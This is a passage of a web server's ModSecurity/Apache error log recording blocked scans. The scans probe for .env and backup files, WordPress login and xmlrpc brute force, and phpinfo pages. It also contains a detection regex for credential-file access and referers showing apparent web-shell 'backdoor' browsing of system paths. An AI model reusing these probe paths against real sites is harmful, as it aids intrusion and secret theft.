|^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/agora/.env"] [unique_id "ai3y49yTkdrNlD40tSGprAAAAGM"] [Sat Jun 13 18:16:35.903015 2026] [security2:error] [pid 646876:tid 647076] [client 82.197.69.10:55593] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 10.69.197.82.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "japaneseclassicmotorcycles.com"] [uri "/wp-login.php"] [unique_id "ai3y49yTkdrNlD40tSGpqwAAAEQ"], referer: https://www.google.com/ [Sat Jun 13 18:16:36.027193 2026] [security2:error] [pid 646876:tid 647041] [client 185.177.72.9:36996] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/alpha/.env"] [unique_id "ai3y5NyTkdrNlD40tSGpsQAAACE"] [Sat Jun 13 18:16:36.164768 2026] [security2:error] [pid 646876:tid 647103] [client 185.177.72.9:36996] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/anaconda/.env"] [unique_id "ai3y5NyTkdrNlD40tSGptAAAAF8"] [Sat Jun 13 18:16:36.256320 2026] [access_compat:error] [pid 646876:tid 646954] [remote 57.141.14.40:61416] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:36.256666 2026] [access_compat:error] [pid 646876:tid 646954] [remote 57.141.14.40:61416] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:36.302552 2026] [security2:error] [pid 646876:tid 647093] [client 185.177.72.9:36996] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/apache.php"] [unique_id "ai3y5NyTkdrNlD40tSGpuwAAAFU"] [Sat Jun 13 18:16:36.371516 2026] [access_compat:error] [pid 646876:tid 646961] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:16:36.371843 2026] [access_compat:error] [pid 646876:tid 646961] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:16:36.400901 2026] [security2:error] [pid 646876:tid 647037] [client 210.217.96.217:13174] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3y5NyTkdrNlD40tSGpvgAAAB0"] [Sat Jun 13 18:16:36.401094 2026] [security2:error] [pid 646876:tid 647037] [client 210.217.96.217:13174] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3y5NyTkdrNlD40tSGpvgAAAB0"] [Sat Jun 13 18:16:36.427791 2026] [security2:error] [pid 648189:tid 648435] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/file/fgetc_basic.phpt"] [unique_id "ai3y5FWSojQL4F7upKBd7QAAANY"] [Sat Jun 13 18:16:36.496752 2026] [security2:error] [pid 648189:tid 648236] [remote 17.22.245.140:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 140.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y5FWSojQL4F7upKBd8QAA9w8"] [Sat Jun 13 18:16:36.575527 2026] [security2:error] [pid 648189:tid 648359] [client 185.177.72.9:36998] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/apache/i.php"] [unique_id "ai3y5FWSojQL4F7upKBd9AAAAIs"] [Sat Jun 13 18:16:36.665251 2026] [access_compat:error] [pid 648189:tid 648240] [remote 57.141.14.107:47085] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:36.665729 2026] [access_compat:error] [pid 648189:tid 648240] [remote 57.141.14.107:47085] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:36.690764 2026] [access_compat:error] [pid 648189:tid 648303] [remote 57.141.14.56:49150] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:36.692551 2026] [access_compat:error] [pid 648189:tid 648303] [remote 57.141.14.56:49150] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:36.761991 2026] [access_compat:error] [pid 646876:tid 646983] [remote 57.141.14.62:49226] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:36.762267 2026] [access_compat:error] [pid 646876:tid 646983] [remote 57.141.14.62:49226] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:36.852987 2026] [security2:error] [pid 648189:tid 648463] [client 185.177.72.9:37000] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/apache/info.php"] [unique_id "ai3y5FWSojQL4F7upKBd_gAAAO0"] [Sat Jun 13 18:16:36.951670 2026] [access_compat:error] [pid 646876:tid 646948] [remote 57.141.14.15:35877] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:36.952139 2026] [access_compat:error] [pid 646876:tid 646948] [remote 57.141.14.15:35877] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:36.957775 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2UvaW5wdXQvaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:16:36.958230 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2UvaW5wdXQvaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:16:36.973355 2026] [access_compat:error] [pid 646876:tid 646986] [remote 74.7.242.16:55120] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkwL3Jvb3Q= [Sat Jun 13 18:16:36.974051 2026] [access_compat:error] [pid 646876:tid 646986] [remote 74.7.242.16:55120] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkwL3Jvb3Q= [Sat Jun 13 18:16:37.009326 2026] [security2:error] [pid 648189:tid 648228] [remote 17.241.219.128:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 128.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y5VWSojQL4F7upKBeAgAA7gg"] [Sat Jun 13 18:16:37.127698 2026] [security2:error] [pid 646876:tid 647053] [client 185.177.72.9:37004] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/apache/phpinfo.php"] [unique_id "ai3y5dyTkdrNlD40tSGp0wAAAC0"] [Sat Jun 13 18:16:37.180760 2026] [security2:error] [pid 646876:tid 646929] [remote 17.241.219.68:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 68.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y5dyTkdrNlD40tSGp2wAAJTI"] [Sat Jun 13 18:16:37.330460 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.56:22290] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:37.330946 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.56:22290] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:37.397295 2026] [security2:error] [pid 648189:tid 648380] [client 185.177.72.9:37012] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/apache2.php"] [unique_id "ai3y5VWSojQL4F7upKBeFAAAAKA"] [Sat Jun 13 18:16:37.412170 2026] [autoindex:error] [pid 648189:tid 648372] [client 152.136.23.159:42516] AH01276: Cannot serve directory /home4/geyserjz/public_html/CarMetals/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:16:37.417569 2026] [security2:error] [pid 648189:tid 648325] [remote 57.141.14.36:24232] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 36.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3y5VWSojQL4F7upKBeGAAA8mY"], referer: https://nelsonfarmstn.com/shop/?add_to_wishlist=375&_wpnonce=8d149de2a5&add-to-cart=379 [Sat Jun 13 18:16:37.426172 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0= [Sat Jun 13 18:16:37.426452 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL2RldmljZS9zdWJzeXN0ZW0= [Sat Jun 13 18:16:37.561147 2026] [core:error] [pid 646876:tid 646959] [remote 38.46.221.215:47492] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:16:37.561179 2026] [core:error] [pid 646876:tid 646959] [remote 38.46.221.215:47492] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:16:37.631486 2026] [access_compat:error] [pid 648189:tid 648275] [remote 57.141.14.78:44342] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:37.631958 2026] [access_compat:error] [pid 648189:tid 648275] [remote 57.141.14.78:44342] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:37.649650 2026] [access_compat:error] [pid 646876:tid 646982] [remote 57.141.14.20:60026] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:37.650104 2026] [access_compat:error] [pid 646876:tid 646982] [remote 57.141.14.20:60026] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:37.662121 2026] [security2:error] [pid 648189:tid 648434] [client 185.177.72.9:37022] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/apc.php"] [unique_id "ai3y5VWSojQL4F7upKBeIAAAANU"] [Sat Jun 13 18:16:37.709462 2026] [security2:error] [pid 646876:tid 646947] [remote 17.246.23.18:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 18.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y5dyTkdrNlD40tSGp8gAAFEQ"] [Sat Jun 13 18:16:37.938898 2026] [security2:error] [pid 648189:tid 648425] [client 185.177.72.9:37036] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/api-server/.env"] [unique_id "ai3y5VWSojQL4F7upKBeKwAAAMw"] [Sat Jun 13 18:16:37.949570 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:16:37.950068 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:16:38.020857 2026] [security2:error] [pid 646876:tid 647027] [client 82.197.69.10:55639] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 10.69.197.82.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "japaneseclassicmotorcycles.com"] [uri "/wp-login.php"] [unique_id "ai3y5tyTkdrNlD40tSGp_gAAABM"] [Sat Jun 13 18:16:38.079990 2026] [security2:error] [pid 646876:tid 646942] [remote 17.22.237.81:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 81.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y5tyTkdrNlD40tSGqAAAAeD8"] [Sat Jun 13 18:16:38.284869 2026] [access_compat:error] [pid 648189:tid 648272] [remote 57.141.14.64:31106] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:38.285301 2026] [access_compat:error] [pid 648189:tid 648272] [remote 57.141.14.64:31106] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:38.336039 2026] [access_compat:error] [pid 648189:tid 648346] [remote 216.73.216.223:1059] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:38.336473 2026] [access_compat:error] [pid 648189:tid 648346] [remote 216.73.216.223:1059] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:38.395508 2026] [security2:error] [pid 648189:tid 648398] [client 207.241.173.18:50590] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "srtguide.todadata.com"] [uri "/.env.production.copy"] [unique_id "ai3y5lWSojQL4F7upKBeOQAAALI"] [Sat Jun 13 18:16:38.413005 2026] [access_compat:error] [pid 648189:tid 648290] [remote 216.73.216.223:1059] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?action=backdoor&p=Ly91c3IvbGliNjQvbGlicHJveHk%3D [Sat Jun 13 18:16:38.413422 2026] [access_compat:error] [pid 648189:tid 648290] [remote 216.73.216.223:1059] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?action=backdoor&p=Ly91c3IvbGliNjQvbGlicHJveHk%3D [Sat Jun 13 18:16:38.486260 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 